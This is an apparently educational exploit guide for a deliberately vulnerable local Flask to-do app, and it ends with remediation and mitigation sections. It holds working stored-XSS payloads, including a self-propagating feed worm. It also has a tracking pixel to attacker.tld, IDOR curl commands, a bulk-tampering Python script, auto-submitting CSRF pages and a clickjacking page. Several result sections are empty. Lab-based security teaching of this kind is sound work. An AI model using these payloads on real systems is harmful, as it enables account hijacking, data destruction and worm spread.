🐀 RatTasks

Explotation Guide

RatTasks – Student Exploit Guide (Step‑by‑Step)

**Educational use only.** These steps are designed for the RatTasks lab running on your own machine. Do not target systems you don’t own or don’t have explicit permission to test.

---

0) Setup

1. Create a Python venv and install deps:


   python3 -m venv venv && source venv/bin/activate
   pip install flask werkzeug

2. Run the app:


   python app.py

3. Open **[http://127.0.0.1:5000](http://127.0.0.1:5000)**. Create an account and log in.

Tip: Keep DevTools → Network tab open to watch requests.

---

1) Stored XSS in Task Title

**Vulnerability:** Task titles are rendered with `|safe`, so HTML/JS executes when the task list renders.

Steps

1. Log in.

2. In the **Add task** input, paste any of the payloads below and click **Add**:


   <script>alert('XSS')</script>

Alternative payloads (helpful if a naive `<script>` filter is later added):


   <img src=x onerror=alert('XSS')>
   <svg/onload=alert('XSS')>
   <a href=javascript:alert('XSS')>click me</a>

3. Reload or navigate to `/` to trigger execution if needed.

What you should observe

Bonus: Using XSS to perform actions

Because the session cookie is automatically sent by the browser, your script can make **authenticated** requests even if the cookie is `HttpOnly`.

Try editing your own task title via XHR/fetch from XSS:


<script>
fetch('/edit/1', {
  method: 'POST',
  headers: {'Content-Type': 'application/x-www-form-urlencoded'},
  body: 'title=HACKED+by+XSS'
});
</script>
Replace `1` with the actual task ID of **your** task. This demonstrates how XSS lets an attacker act as the victim.

---

2) IDOR / Broken Access Control on Edit, Delete, Toggle

**Vulnerability:** The routes `/edit/<id>`, `/delete/<id>`, `/toggle/<id>` do **not** verify that the task belongs to the logged‑in user.

Prepare

Find valid task IDs

1. While logged in as **User A**, try to open ids you don’t own using the edit page:

* Visit: `http://127.0.0.1:5000/edit/1`, `/edit/2`, `/edit/3`, … until you **don’t** see “Task not found” and instead see the **Edit task** form for a task that isn’t yours.

* This confirms the ID exists and is accessible.

Exploit: Edit someone else’s task (horizontal privilege escalation)

**cURL version (replace `42` with the victim’s task id):**


curl -i -X POST   -H 'Content-Type: application/x-www-form-urlencoded'   -b 'session=<YOUR_FLASK_SESSION_COOKIE>'   --data 'title=Owned+by+User+A'   http://127.0.0.1:5000/edit/42
Get your `session` cookie from DevTools → Application → Cookies.

Exploit: Toggle someone else’s completion flag


curl -i -b 'session=<YOUR_FLASK_SESSION_COOKIE>'   http://127.0.0.1:5000/toggle/42

Exploit: Delete someone else’s task


curl -i -b 'session=<YOUR_FLASK_SESSION_COOKIE>'   http://127.0.0.1:5000/delete/42
The delete route does not verify ownership and always flashes “Task deleted” even if nothing happened — use `/edit/<id>` first to confirm the ID exists.

What you should observe

Additional BAC / IDOR scenarios to try

  1. Mark a victim’s task as done/undone repeatedly via `/toggle/<id>` to disrupt their workflow.
  2. Overwrite the task title with attacker-controlled HTML (e.g., `<img src=x onerror=...>`) via `/edit/<id>` to weaponize stored XSS in someone else’s account.
  3. Set the `public` checkbox when editing a victim task to expose previously private notes on the `/feed` page.
  4. Clear the `public` checkbox on a collaborator’s public task to silently hide it from the feed.
  5. Append instructions like “Send password to …” into another user’s task title to phish them when they next log in.
  6. Iterate through IDs and delete every task you find, demonstrating how destructive a simple IDOR script can be.
  7. Flip the same task repeatedly to generate misleading activity patterns a blue team would struggle to trust.
  8. Edit a victim’s task to include tracking pixels (e.g., `<img src="https://attacker.tld/pixel">`) and monitor when they open their list.
  9. Change multiple victim tasks to include unique IDs so you can map which task IDs belong to which victims as they revert the edits.
  10. Use `/edit/<id>` to add markdown-looking text that tricks the victim into following attacker-supplied “instructions”.
  11. Combine delete and edit IDORs: first edit a victim task to warn them, then immediately delete it to show race-condition style tampering.
  12. Force a victim’s “done” tasks back to incomplete status so their dashboard always looks unfinished.
  13. Rename tasks with profanity or defacements to demonstrate reputational risk from unauthorized edits.
  14. Modify someone’s task to embed an `<iframe>` pointing to a malicious site that loads whenever they view their list.
  15. Script an attack that toggles every discovered task ID once per minute, creating chaos across all users simultaneously.

---

3) CSRF on Add, Edit, Toggle, Delete

**Vulnerability:** There’s no CSRF protection. State‑changing endpoints accept requests with only the victim’s cookie for auth.

For the following, the victim must be **logged in** to RatTasks in the same browser.

CSRF: Add a task (auto‑submit form)

Create a local HTML file (e.g., `csrf-add.html`) and open it in your browser while logged in to RatTasks:


<!doctype html>
<form action="http://127.0.0.1:5000/" method="POST" id="f">
  <input name="title" value="CSRF injected task!">
</form>
<script>document.getElementById('f').submit();</script>

**Result:** A new task appears in the victim account.

CSRF: Delete a known task via `GET`

Because delete uses `GET`, an attacker can use an image tag:


<!doctype html>
<img src="http://127.0.0.1:5000/delete/42" style="display:none">

**Result:** Visiting this page while logged in to RatTasks deletes task `42`.

CSRF: Toggle a task via `GET`


<!doctype html>
<img src="http://127.0.0.1:5000/toggle/42" style="display:none">

**Result:** Task `42` flips between done/undone.

CSRF: Edit via POST


<!doctype html>
<form action="http://127.0.0.1:5000/edit/42" method="POST" id="f">
  <input name="title" value="CSRF changed your title">
</form>
<script>f.submit();</script>

---

4) Clickjacking (No Frame Protections)

**Vulnerability:** No `X-Frame-Options` or CSP → pages can be iframed and overlaid with deceptive UI.

PoC

Create `clickjack.html` and open it while logged in:


<!doctype html>
<style>
  iframe { position: absolute; top:0; left:0; width:100vw; height:100vh; opacity:0.1; }
  button.fake { position:absolute; top:120px; left:120px; padding:20px; }
</style>
<button class="fake">Click here for FREE COFFEE ☕</button>
<iframe src="http://127.0.0.1:5000/delete/42"></iframe>

**Result:** Clicking the visible button actually clicks the hidden delete link beneath it.

---

5) Recon Tips & ID Discovery

---

6) Suggested Write‑Up Structure (for reports)

1. **Title**: Stored XSS in Task Title leads to account actions via authenticated fetch

2. **Summary**: Explain the impact and where the bug lives.

3. **Steps to Reproduce**: Copy the exact steps/payloads above.

4. **Impact**: Session‑authenticated actions; potential for persistent worm; user data manipulation.

5. **Remediation**:

* Escape output; remove `|safe` unless output is pre‑sanitized.

* Add CSRF tokens to state‑changing routes; avoid `GET` for destructive actions.

* Verify ownership on all task mutations: `WHERE id = ? AND user_id = ?`.

* Add `X-Frame-Options: DENY` and a strict CSP.

---

7) Quick Checklist (What to Demonstrate)

That’s it. Keep your tests scoped to your own local RatTasks instance.

---

8) IDOR: Force Victim Tasks Public

Goal: Use the existing edit IDOR to flip another user’s private task into the public feed.

Steps

  1. Enumerate a task ID owned by another user (see Module 2 for techniques).
  2. Visit http://127.0.0.1:5000/edit/<victim_id> while logged in as yourself.
  3. Check the Public box, keep or change the title, and click Save.
  4. Open /feed in a separate tab or browser profile.

Result

---

9) IDOR: Bulk Tampering Script

Goal: Automate BAC exploitation to show how little effort it takes to destroy data at scale.

Proof-of-concept script (Python + requests)

import requests

BASE = "http://127.0.0.1:5000"
COOKIE = {"session": "<paste_your_cookie_here>"}

for task_id in range(1, 101):
    r = requests.post(
        f"{BASE}/edit/{task_id}",
        data={"title": f"Owned #{task_id}", "public": "on"},
        cookies=COOKIE,
        allow_redirects=False,
    )
    if r.status_code == 302:
        print(f"Edited task {task_id}")

Result

---

10) Stored XSS Worm via Public Feed

Goal: Chain the stored XSS with BAC so any victim who views the feed unknowingly propagates the payload.

Steps

  1. Use Module 8 to make a victim task public.
  2. Edit that task and replace the title with:
<script>
fetch('/edit/42', {
  method: 'POST',
  headers: {'Content-Type': 'application/x-www-form-urlencoded'},
  body: 'title=' + encodeURIComponent('Worm!') + '&public=on'
});
fetch('/', {
  method: 'POST',
  headers: {'Content-Type': 'application/x-www-form-urlencoded'},
  body: 'title=Worm+propagation&public=on'
});
</script>

3. View /feed in another browser. The script runs for any logged-in viewer, adding more worm tasks. Replace 42 with the victim task ID you discovered.

Result

---

11) CSRF + IDOR Chain

Goal: Build an external page that tricks an authenticated victim into editing someone else’s task on your behalf.

Steps

  1. Identify a target task ID (e.g., 37).
  2. Create a file csrf-idor.html with:
<!doctype html>
<form action="http://127.0.0.1:5000/edit/37" method="POST" id="steal">
  <input name="title" value="CSRF defacement">
  <input name="public" value="on">
</form>
<script>steal.submit();</script>

3. Send the link to a logged-in victim. When they open it, their browser submits the form.

Result

---

12) Blue Team Mitigation Drills

Use these scenarios to practice defending the app after demonstrating the exploits: